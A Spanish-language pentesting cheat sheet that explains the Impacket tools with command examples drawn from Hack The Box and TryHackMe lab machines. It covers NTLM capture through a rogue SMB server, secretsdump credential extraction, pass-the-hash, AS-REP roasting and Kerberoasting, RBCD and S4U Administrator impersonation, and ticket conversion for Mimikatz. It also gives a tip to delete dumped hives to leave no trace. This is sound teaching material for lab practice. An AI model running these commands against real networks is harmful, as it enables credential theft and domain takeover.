Suite Impacket
Impacket es una suite de herramientas para la manipulación de protocolos de red en entornos Windows. A continuación se muestran algunos de los scripts más utilizados:
📌Impacket-SMBServer
Ver máquina: Responder (HTB), Driver (HTB), Grandpa (HTB)
su función es levantar un servidor SMB falso en la máquina del atacante.
Funciones clave de impacket-smbserver
:
✔ Permite que una víctima acceda a archivos compartidos por el atacante.
✔ Puede usarse en ataques LFI/RFI para capturar autenticaciones NTLM.
✔ Soporta SMBv1 y SMBv2 para compatibilidad con versiones antiguas de Windows.
Ejemplo de uso:
Levantar un servidor SMB en /tmp/share/
con acceso anónimo:
impacket-smbserver -smb2support share /tmp/share/
Si la víctima ejecuta algo como:
dir \\10.10.14.25\share
Windows intentará autenticarse y el atacante puede capturar credenciales NTLM.
📌impacket-Mssqlclient.py
Ver máquina: Archetype (HTB)
📌 Descripción del script mssqlclient.py
de Impacket
mssqlclient.py
de ImpacketEl script mssqlclient.py
de la suite Impacket permite conectarse a un servidor Microsoft SQL Server utilizando credenciales válidas y ejecutar comandos SQL de manera interactiva. También es útil para pruebas de penetración, ya que permite realizar consultas, ejecutar comandos en el sistema operativo (si el usuario tiene permisos sysadmin
), y obtener información sensible de la base de datos.
🛠️ Características principales:
Autenticación en SQL Server:
Soporta autenticación SQL Server (
-windows-auth
para NTLM) y autenticación integrada de Windows.
Ejecución de consultas SQL:
Permite interactuar con la base de datos usando comandos SQL estándar.
Ejecución de comandos en el sistema (
xp_cmdshell
):Si el usuario tiene permisos
sysadmin
, puede habilitarxp_cmdshell
y ejecutar comandos en el sistema operativo subyacente.
Dump de hashes:
Puede extraer hashes de contraseñas si el usuario tiene suficientes privilegios.
Movilidad lateral:
Si obtiene credenciales válidas, permite moverse a otros sistemas en la red.
📌 Uso básico:
┌──(root㉿kali)-[/home/kali]
└─# python3 mssqlclient.py usuario@IP -windows-auth
Esto intentará autenticarse en SQL Server en la IP especificada usando NTLM (autenticación de Windows).
📌impacket-Psexec.py
Ver máquina Archetype (HTB), Forest (HTB), Sauna (HTB)
psexec.py
se usa principalmente en entornos de pentesting o administración remota para:
Ejecutar comandos remotamente en sistemas Windows.
Obtener una shell (cmd) interactiva en la máquina remota.
Transferir archivos, crear servicios temporales, y escalar privilegios (en algunos casos).
Automatizar tareas administrativas en redes donde se tiene acceso a cuentas con privilegios.
Utiliza el protocolo SMB junto con el servicio de administración de servicios de Windows (Service Control Manager) para crear un servicio temporal que ejecuta los comandos deseados.
Sintaxis básica:
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 psexec.py administrator@10.129.95.187
Usando hashes NTLM:
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 psexec.py administrator@10.129.95.187 -hashes <LMHASH>:<NTHASH>
Si quieres aprender más sobre este complemento de Impacket te recomiendo el siguiente artículo:
📌impacket-secretsdump
Sirve para extraer secretos (hashes de contraseñas, credenciales, secretos de Kerberos) desde sistemas Windows.
Puede trabajar localmente (si tenés acceso a los archivos del sistema) o remotamente (si tenés credenciales válidas o exploits sobre el sistema).
¿Qué tipo de información puede extraer secretsdump
?
Hashes de contraseñas: Hashes LM y NTLM de todas las cuentas locales (SAM).
Secrets de LSA (Local Security Authority): Claves y secretos usados para el Single Sign-On, incluidas contraseñas en texto claro de servicios.
Ticket de Kerberos (TGT): Tickets de acceso del usuario al sistema.
Hashes de Administradores de Dominio: Si corres en un controlador de dominio, extrae las contraseñas de todos los usuarios del dominio (típicamente de
NTDS.dit
).Contraseñas de servicios: Si un servicio en Windows guarda su contraseña, también puede ser extraída.
¿Por qué es tan potente secretsdump
?
secretsdump
?No necesita ejecutar nada en el objetivo (dump por red).
No deja rastros importantes si solo haces lectura de SAM o NTDS.
Puede romper la seguridad de una red Windows completa si extrae hashes de administradores.
Permite realizar Pass-the-Hash o Golden Ticket Attacks después de obtener los secretos.
Ver maquinas: Bastion (HTB), Cicada (HTB), Forest (HTB), Sauna (HTB), Raz0rBlack (THM), VulnNet:Roasted (THM)
📌impacket-Reg.py
reg.py
permite interactuar remotamente con el registro de Windows a través de la red, usando el protocolo SMB/RPC. Puedes hacer tareas como:
Leer y escribir claves del registro.
Exportar hives completos del registro remoto (
backup
).Enumerar subclaves y valores.
Ver máquinas: Cicada (HTB), Raz0rBlack (THM)
Uso típico:
reg.py <usuario>:<password>@<IP> backup -o <ruta de salida en el sistema remoto
reg.py 'cicada.htb/emily.oscars:Q!3@Lp#M6b*7t*Vt'@10.10.11.35 backup -o 'C:\windows\temp\'
¿Qué hace ese comando?
Autenticación:
Se conecta a la máquina
10.10.11.35
comocicada.htb\emily.oscars
usando la contraseña proporcionada.
Modo
backup
:Exporta remotamente los hives más importantes del registro (
SAM
,SYSTEM
,SECURITY
,SOFTWARE
) usando la API RPC.
Salida:
Guarda los archivos hive en
C:\windows\temp\
dentro de la máquina víctima (¡no en tu Kali! por eso luego hay que descargarlos desde una sesión en EvilWinRM).
¿Por qué puede usarse sin ser administrador?
Porque si el usuario tiene privilegios como SeBackupPrivilege
, puede leer incluso archivos protegidos (como los hives del registro), lo que lo convierte en una escalada lateral o vertical excelente.
Recomendación post-uso:
Después de usar reg.py
, borra los archivos de C:\windows\temp\
para no dejar rastro.
📌impacket-GetNPUsers
Este script hace parte de la suite Impacket, creada por SecureAuth, y está diseñado específicamente para automatizar el ataque ASREPRoasting.
Funcionalidades clave:
Envía peticiones AS-REQ sin autenticación previa (pre-auth) para cada usuario en una lista de usuarios que le pases.
Recibe respuestas AS-REP cifradas solo si el usuario tiene "Do not require Kerberos preauthentication" activado.
Extrae el hash cifrado que puede ser crackeado offline.
Guarda los resultados en un archivo en formato compatible con herramientas de cracking (
john
ohashcat
).
Kerberos y la Preautenticación
Kerberos es un protocolo de autenticación que normalmente requiere preautenticación: el usuario debe enviar una marca de tiempo firmada con su contraseña antes de recibir un TGT (Ticket Granting Ticket).
Pero si un usuario tiene desactivada la preautenticación, el KDC (Key Distribution Center) le enviará directamente el TGT sin verificar primero su identidad.
Esto expone un hash cifrado con la contraseña del usuario → que podemos crackear offline.
¿Cómo se explota con GetNPUsers.py
?
Envía una solicitud AS-REQ para obtener un TGT sin preautenticación, usando solo el nombre de usuario.
Si el usuario tiene preauth desactivado, el KDC responde con un AS-REP, que contiene datos cifrados con la clave del usuario.
GetNPUsers.py
extrae el hash de esa respuesta y lo formatea para cracking.El hash se guarda en un archivo (
hashes.txt
), y se puede usar con Hashcat o John the Ripper.
Ver maquinas: Forest (HTB), Sauna (HTB), Raz0rBlack (THM), VulnNet:Roasted (THM)
Ver módulos: Attacking Kerberos (THM) Attacktive Directory (THM)
📌impacket-lookupsid
El script lookupsid.py
de la suite Impacket sirve para realizar enumeración de usuarios y grupos en entornos Windows/Active Directory, aprovechando el servicio LSARPC (Local Security Authority Remote Procedure Call).
¿Qué hace lookupsid.py
?
lookupsid.py
?lookupsid
se conecta a una máquina Windows (como un Domain Controller) y brute-forcea secuencialmente los RID (Relative Identifiers) sobre un SID base del dominio para descubrir nombres de cuentas asociadas (usuarios, grupos, etc.).
Básicamente:
Descubre el SID base del dominio (por ejemplo:
S-1-5-21-123456789-111111111-222222222
).Concatena RIDs comunes o secuenciales al SID base, como
500
,501
,1000
,1100
, etc.Usa el servicio LSARPC para pedir al sistema el nombre asociado a cada SID completo.
Imprime resultados como:
📌 Sintaxis básica
500: SUPPORT\Administrator (SidTypeUser)
512: SUPPORT\Domain Admins (SidTypeGroup)
1105: SUPPORT\support (SidTypeUser)
¿Por qué es útil para pentesters?
Permite enumerar usuarios sin necesidad de credenciales válidas (si la política de seguridad lo permite).
Funciona incluso con usuarios de bajo privilegio, como
guest
.Revela posibles objetivos para ataques de fuerza bruta, Kerberos, AS-REP Roasting, etc.
Ayuda a identificar el dominio y su estructura básica sin interacción invasiva.
📌 Sintaxis básica
impacket-lookupsid -no-pass 'DOMAIN/guest@IP' -target-ip IP
También podés usarlo con contraseñas o hashes:
impacket-lookupsid DOMAIN/user:password@IP
Ver máquinas Support (HTB), Raz0rBlack (THM), VulnNet:Roasted (THM), Heist (HTB)
📌impacket-GetUserSPNs
Es un script que permite enumerar cuentas de servicio con SPN (Service Principal Names) en un dominio de Active Directory y, si se indica el flag -request
, permite obtener un TGS (Ticket Granting Service) para cada cuenta. Esto se utiliza principalmente en ataques como Kerberoasting, donde el objetivo es crackear la contraseña asociada a la cuenta de servicio.
Parámetro | Descripción
dominio/usuario[:contraseña] | Credenciales para autenticarse en el dominio
-hashes LM:NT | Autenticación con hash NTLM en lugar de contraseña.
-dc-ip <IP> | Dirección IP del Domain Controller.
-request | Solicita los tickets TGS de los servicios encontrados.
-outputfile nombre.txt | Guarda los hashes en un archivo específico.
-outputformat hashcat/john | Formato de salida del hash (por defecto: John the Ripper).
Ejemplos prácticos
1. Enumerar cuentas con SPN (sin solicitar tickets)
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78
Lista las cuentas que tienen SPNs registrados en el dominio. No genera hashes aún.
2. Ataque Kerberoasting (solicitar tickets y generar hashes)
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78 -request
Obtiene los TGS cifrados con el hash de las cuentas de servicio. Sirven para crackear la contraseña offline.
3. Con hash NTLM en lugar de contraseña
impacket-GetUserSPNs controller.local/user1 -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 10.10.52.78 -request
Útil si ya obtuviste el hash NTLM del usuario, por ejemplo mediante Responder
, mimikatz
o secretsdump
.
4. Guardar los hashes para crackear con Hashcat
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78 -request -outputfile kerberoastado.txt -outputformat hashcat
Te genera un archivo con los hashes en formato listo para hashcat -m 13100
.
Ver módulo Attacking Kerberos (THM)
Ver maquinas Active (HTB) Raz0rBlack (THM), VulnNet:Roasted (THM)
📌impacket-smbpasswd / impacket-changepasswd
La herramienta impacket-smbpasswd
forma parte del conjunto de utilidades de Impacket y está diseñada para interactuar con servicios SMB de sistemas Windows, específicamente para cambiar la contraseña de un usuario dentro de un entorno Active Directory.
¿Qué hace exactamente impacket-smbpasswd
?
Permite realizar un cambio de contraseña remoto para un usuario del dominio o local, a través del protocolo SAMR (Security Account Manager Remote Protocol), utilizando SMB y RPC para comunicarse con el controlador de dominio o un servidor Windows.
¿Cómo funciona técnicamente?
Establece una conexión SMB con el servidor objetivo.
Se autentica con un usuario y contraseña válidos.
Utiliza el servicio SAMR para solicitar un cambio de contraseña:
Si el usuario tiene la contraseña expirada, no se requiere la contraseña anterior.
Si no está expirada, puede cambiarse solo si se tiene la contraseña actual.
Cambia la contraseña a la nueva proporcionada por el atacante (te la pide en consola).
Requisitos para que funcione
Credenciales válidas del usuario.
El usuario debe tener permisos para cambiar su propia contraseña (lo normal) o la de otro.
El objetivo debe tener habilitado el servicio SMB/RPC (puerto 445 abierto).
La política de seguridad del dominio debe permitir este tipo de cambio remoto.
Ejemplo de uso
impacket-smbpasswd raz0rblack.thm/sbradley:Password123@10.10.180.52
Ver máquinas: Raz0rBlack (THM)
📌impacket-addcomputer
Ver máquinas: Support (HTB)
¿Qué hace impacket-addcomputer
?
impacket-addcomputer
?impacket-addcomputer
permite agregar un nuevo objeto de computadora (machine account) al dominio, aprovechando un usuario que tenga los permisos necesarios para hacerlo.
Esto es útil para:
Crear un nuevo equipo (machine account) que después podés abusar para obtener tickets Kerberos (
RBCD
,AS-REP Roasting
, etc.).Apuntar a Resource-Based Constrained Delegation (RBCD) con tu propio equipo controlado.
Operaciones como Silver Ticket,
S4U2Self
, oS4U2Proxy
.
📌 Requisitos
Credenciales válidas de un usuario del dominio.
El usuario debe tener permisos para crear nuevos objetos de máquina (por defecto, los usuarios pueden crear hasta 10).
📌 Ejemplo de uso básico
impacket-addcomputer support.htb/juan:Password123 -computer-name HACKER01$ -computer-pass Passw0rd123!
Esto intenta:
Autenticarse como el usuario
juan
en el dominiosupport.htb
.Crear un nuevo equipo llamado
HACKER01$
con contraseñaPassw0rd123!
.
📌 Parámetros básicos útiles
-computer-name <NAME>$
Nombre del equipo que querés agregar (termina con $
)
-computer-pass <PASSWORD>
Contraseña del equipo (sin esto, se genera aleatoriamente)
-computer-desc <DESCRIPCIÓN>
Descripción opcional del nuevo objeto
-dc-ip <IP>
IP del controlador de dominio, si no se puede resolver por nombre
-debug
Muestra salida detallada para debugging
📌 Escenario típico en CTF
Conseguís credenciales válidas de un usuario de dominio.
Usás
impacket-addcomputer
para agregar un equipo tuyo.Luego, abusás de RBCD configurando ese equipo para que se delegue a otro, o extraés tickets.
📌impacket-rbcd
Ver máquinas: Support (HTB)
¿Qué hace impacket-rbcd
?
impacket-rbcd
?impacket-rbcd
permite configurar un objeto de computadora (machine account) para que pueda recibir delegaciones (RBCD) desde otro equipo o usuario.
Es decir, modifica el atributo msDS-AllowedToActOnBehalfOfOtherIdentity
en el objeto objetivo, otorgando permisos de delegación al equipo controlado por el atacante.
Este es un paso clave para realizar ataques como:
S4U2Proxy usando tickets de delegación.
Abuso de privilegios a través de delegación forzada.
Escalada de privilegios lateral o vertical.
¿Cuándo se usa?
Normalmente después de que:
Añadiste una máquina al dominio usando
impacket-addcomputer
.Querés que esa máquina pueda delegar en nombre de otros usuarios hacia una máquina objetivo (por ejemplo, un Domain Controller).
📌 Ejemplo básico de uso
impacket-rbcd -delegate-from HACKER01$ -delegate-to WIN-DC01$
Esto configura que el equipo HACKER01$
(que vos controlás) pueda actuar en nombre de usuarios cuando se autentican contra WIN-DC01$
.
📌 Parámetros básicos
-delegate-from <NAME>$
Objeto (equipo) que podrá hacer delegación (tu máquina agregada)
-delegate-to <NAME>$
Objeto (equipo) que recibirá la delegación (objetivo)
-dc-ip <IP>
IP del controlador de dominio (opcional pero útil si no hay resolución DNS)
-target-domain <DOMINIO>
Nombre del dominio (opcional, si no se detecta automáticamente)
-debug
Muestra salida detallada para debug
📌 Requisitos para usarla
Tenés que tener privilegios para modificar atributos del objeto de dominio objetivo (generalmente obtenidos al comprometer algún usuario con permisos de escritura sobre el objeto).
Acceso de red al controlador de dominio (LDAP).
📌 Escenario típico de uso
Usás
impacket-addcomputer
para crearHACKER01$
.Con privilegios sobre otro equipo, usás
impacket-rbcd
para delegar deHACKER01$
a ese equipo.Luego usás
getST.py
os4u2proxy.py
para obtener un ticket de servicio (TGS) y ejecutar código como un usuario privilegiado (ej.Administrator
).
📌impacket-getTGT
Ver máquinas: Support (HTB)
¿Qué hace impacket-getTGT
?
impacket-getTGT
?getTGT.py
se conecta al servicio Kerberos (puerto 88) y solicita un TGT (Ticket Granting Ticket) usando las credenciales proporcionadas (usuario/contraseña o NTLM hash). Este TGT puede usarse más adelante para:
Solicitar tickets de servicio (TGS) con
getST.py
.Acceder a recursos sin necesidad de volver a introducir credenciales.
Exportarlo al formato
.ccache
para usarlo con herramientas comopsexec.py
,smbclient.py
,kerberoast
, etc.
📌 Ejemplo básico
getTGT.py support.htb/juan:Password123
Esto:
Se autentica contra el KDC del dominio
support.htb
como el usuariojuan
.Solicita un TGT.
Guarda el ticket en un archivo
.ccache
para su uso posterior.
📌 Parámetros comunes
domain/username:password
Usuario del dominio y su contraseña (puede usar también hashes NTLM)
-hashes <LM>:<NT>
Usar hashes LM/NT en lugar de contraseña
-dc-ip <IP>
IP del Domain Controller si no hay resolución DNS
-no-pass
Evita que se solicite contraseña (si ya se usa -hashes
)
-aesKey <key>
Usar clave AES en lugar de contraseña o hash
-save
Guarda el TGT como archivo .ccache
-outputfile <file.ccache>
Nombre específico del archivo de salida
-debug
Muestra salida detallada
📌 Ejemplo usando hash NTLM
getTGT.py support.htb/juan -hashes :a4f49e129f8fba73f0873a7d99a1a3e8 -dc-ip 10.10.11.174 -save
Este comando:
Usa el hash NTLM del usuario
juan
.Se conecta al DC por IP.
Guarda el TGT automáticamente en un archivo
.ccache
.
¿Dónde se guarda el ticket?
📌 Por defecto, se guarda como:
support.htb.juan.ccache
Y podés usarlo luego así:
bashCopiarEditarexport KRB5CCNAME=support.htb.juan.ccache
psexec.py support.htb/juan@target-host
📌 ¿Para qué se usa en CTF/pentest?
Validar credenciales rápidamente sin necesidad de sesión WinRM.
Extraer tickets para ataques Kerberos.
Moverse lateralmente entre equipos usando TGTs válidos.
📌impacket-getST
Ver máquinas: Support (HTB)
¿Qué hace getST.py
?
getST.py
?getST.py
solicita al KDC (Key Distribution Center) un ticket de servicio (TGS) para acceder a un servicio determinado en un equipo del dominio, usando un TGT válido (normalmente obtenido con getTGT.py
o como parte de un ataque como RBCD o S4U).
Este TGS se guarda en un archivo .ccache
que luego puede usarse para autenticarse contra ese servicio con herramientas como psexec.py
, smbclient.py
, etc.
📌 ¿Para qué se usa?
Obtener acceso autenticado a servicios como cifs, host, HTTP, etc.
Encadenar con ataques de delegación (
RBCD
,S4U2Self
,S4U2Proxy
).Autenticarse sin usar credenciales directamente, solo con tickets.
📌 Ejemplo básico
getST.py -spn cifs/DC01.support.htb -impersonate Administrator support.htb/hacker01\$ -dc-ip 10.10.11.174 -key 1234abcd... -outputfile admin.ccache
Este comando:
Usa el TGT del equipo
hacker01$
para solicitar un TGS para el servicio CIFS enDC01.support.htb
.Impersona al usuario Administrator.
Guarda el ticket en
admin.ccach
📌 Parámetros comunes
domain/user[:password]
Credenciales válidas (puede ser un hash o clave AES también)
-spn <service/fqdn>
Service Principal Name (ej.: cifs/dc01.support.htb
)
-impersonate <user>
Usuario a impersonar (típico en ataques RBCD/S4U2Proxy)
-key <AES>
/ -hashes
Clave o hash NTLM si no se usa una contraseña
-outputfile <file.ccache>
Nombre del archivo donde se guarda el TGS
-dc-ip <IP>
IP del controlador de dominio (si no hay DNS o resolución del nombre)
-request
Muestra el contenido del ticket solicitado
-debug
Salida detallada
📌 Ejemplo usando TGT y S4U2Proxy (delegación)
Supongamos que ya tenés el TGT de hacker01$
:
export KRB5CCNAME=hacker01.ccache
getST.py -spn cifs/dc01.support.htb -impersonate Administrator -outputfile admin.ccache support.htb/
Ahora podés usar ese ticket:
export KRB5CCNAME=admin.ccache
psexec.py support.htb/Administrator@dc01.support.htb
📌 Flujo típico de uso
getTGT.py
→ Obtener el TGT como máquina o usuario.getST.py
→ Obtener el TGS para un SPN (ej.,cifs/dc01
).Usás
psexec.py
,wmiexec.py
, etc., con el.ccache
.
📌impacket-ticketConverter
Ver máquinas: Support (HTB)
La herramienta impacket-ticketConverter
(o ticketConverter.py
) es una utilidad incluida en la suite Impacket que sirve para convertir tickets Kerberos entre los formatos .kirbi
(usado por Mimikatz y herramientas Windows) y .ccache
(usado por herramientas en Linux/Unix).
📌 ¿Qué hace ticketConverter.py
?
ticketConverter.py
?Permite convertir:
De
.kirbi
a.ccache
→ para usar en herramientas comopsexec.py
,smbclient.py
,impacket-*
en Linux.De
.ccache
a.kirbi
→ para importar en Mimikatz o herramientas que lo usen en Windows.
Esto es útil cuando:
Exfiltrás un ticket con Mimikatz (formato
.kirbi
) y querés usarlo en Kali Linux.Obtenés un
.ccache
(por ejemplo, congetTGT.py
) y necesitás usarlo en Windows con Rubeus o Mimikatz
📌 Formatos de ticket
.kirbi
Mimikatz, Rubeus, Kekeo
Windows
.ccache
Impacket, Kerberos tools en Linux
Linux/Unix
📌 Sintaxis general
ticketConverter.py [input_ticket] [output_ticket]
📌 Ejemplos prácticos
1. Convertir de .kirbi
(Mimikatz) a .ccache
(Linux)
ticketConverter.py ticket.kirbi ticket.ccache
Esto convierte el ticket a formato ccache
para que puedas usarlo así:
export KRB5CCNAME=ticket.ccache
psexec.py support.htb/Administrator@dc01.support.htb
2. Convertir de .ccache
a .kirbi
ticketConverter.py ticket.ccache ticket.kirbi
Luego podés importarlo en Mimikatz con:
kerberos::ptt ticket.kirbi
📌 Parámetros básicos
[input_ticket]
Ruta al ticket original (.kirbi
o .ccache
)
[output_ticket]
Nombre del ticket convertido (.ccache
o .kirbi
)
No tiene muchos flags como otras herramientas de Impacket: es una utilidad puntual y directa.
📌 Casos de uso típicos
Convertir tickets capturados en Windows (Mimikatz) para usarlos con Impacket en Kali.
Reutilizar
.ccache
generados congetTGT.py
ogetST.py
en un entorno Windows.Explotar ataques Kerberos híbridos entre Windows y Linux
Last updated